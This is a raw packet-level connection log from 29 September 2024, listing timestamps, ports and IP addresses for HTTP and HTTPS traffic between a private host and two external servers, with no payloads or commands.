Sep 29, 2024 00:53:25.672297001 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.672331095 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.672344923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672354937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672360897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672398090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.672430038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672436953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672442913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672447920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672454119 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672477961 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.672497988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.673630953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.673636913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.673643112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.673656940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.673662901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.673667908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.673705101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.673717976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.673999071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.674138069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.674439907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.674490929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.674495935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.674501896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.674513102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.674519062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.674524069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.674529076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.674561024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.674575090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.722125053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722142935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722148895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722153902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722158909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722165108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722170115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722181082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722186089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722191095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722196102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722201109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722206116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722203016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.722219944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.722255945 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.722255945 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.746028900 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746036053 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746042013 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746047020 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746052027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746057987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746062994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746068954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746074915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746079922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746100903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746110916 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.746112108 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746118069 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746123075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746129036 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746134043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746135950 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.746135950 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.746141911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746170998 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.746227980 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.746257067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746263027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746278048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746283054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746323109 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.746323109 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.746962070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746968031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.746973991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747029066 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.747044086 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.747155905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747168064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747174025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747179031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747220993 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.747258902 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.747351885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747358084 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747363091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747369051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747410059 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.747663021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747669935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747674942 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.747737885 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.747826099 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.747872114 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.747890949 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.747900009 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.747916937 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.747941971 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.747941971 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.747962952 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.748624086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.748630047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.748636007 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.748641968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.748646975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.748652935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.748662949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.748687983 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.748708010 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.749434948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749440908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749445915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749456882 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749463081 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749464989 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.749468088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749474049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749501944 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.749514103 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.749557972 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.749562979 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.749569893 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.749641895 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.749764919 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.749891996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749898911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749903917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749910116 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749914885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749921083 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749927044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.749994040 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.750036955 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.750036955 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.750089884 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.750096083 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.750149012 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.751091003 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.751127005 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.751180887 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.751187086 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.751197100 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.751490116 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.752377987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.752384901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.752389908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.752401114 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.752407074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.752413988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.752419949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.752449036 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.752497911 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.753871918 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753879070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753885031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753895044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753906012 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753925085 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753931046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753937006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753945112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753956079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753961086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753968000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753973961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753977060 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.753978968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.753989935 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.754040956 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.754245996 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.754285097 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.754375935 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.754379988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754379988 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.754379988 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.754386902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754388094 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.754412889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754419088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754427910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754431963 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.754432917 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.754435062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754441977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754446983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754452944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754457951 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754463911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754487991 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.754494905 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.754508018 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.754545927 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.754548073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.754859924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754867077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754872084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754887104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754893064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754899025 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.754908085 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754913092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754919052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754919052 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.754925966 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754931927 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754942894 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754947901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754952908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754960060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754971027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754971027 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.754975080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.754976988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.754985094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.755000114 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.755001068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.755001068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.755076885 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.755076885 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.755168915 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.755249023 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.755254984 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.755316019 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.756026030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756036997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756042957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756048918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756055117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756061077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756067038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756078959 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.756099939 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.756131887 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.756632090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756639004 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756644964 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756680965 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.756993055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.756999016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757004976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757010937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757067919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.757091045 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.757127047 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.757143021 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.757148027 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.757194042 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.757194042 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.757616043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757622957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757628918 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757638931 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757667065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757673025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757678032 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.757680893 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.757719994 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.758158922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758164883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758171082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758177042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758188009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758248091 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.758248091 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.758275032 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.758280039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758291960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758297920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758302927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758308887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758315086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758326054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758331060 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.758352041 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.758697987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758703947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758708954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758718967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758723974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758729935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758735895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758742094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758748055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.758761883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.758778095 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.758799076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.758951902 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.758970976 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.759031057 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.759031057 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.759037971 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.759147882 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.759329081 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759335041 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759403944 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.759419918 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.759474039 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.759479046 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.759491920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759499073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759505033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759515047 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.759516001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759525061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759529114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759533882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759537935 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.759541035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759543896 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.759546995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759552002 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.759557962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759565115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759569883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.759608030 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.759618044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.759618044 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.760057926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.760134935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.760550022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.760610104 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.760797977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.760804892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.760811090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.760823011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.760850906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.760857105 CEST	80	49710	103.130.147.211	192.168.2.9
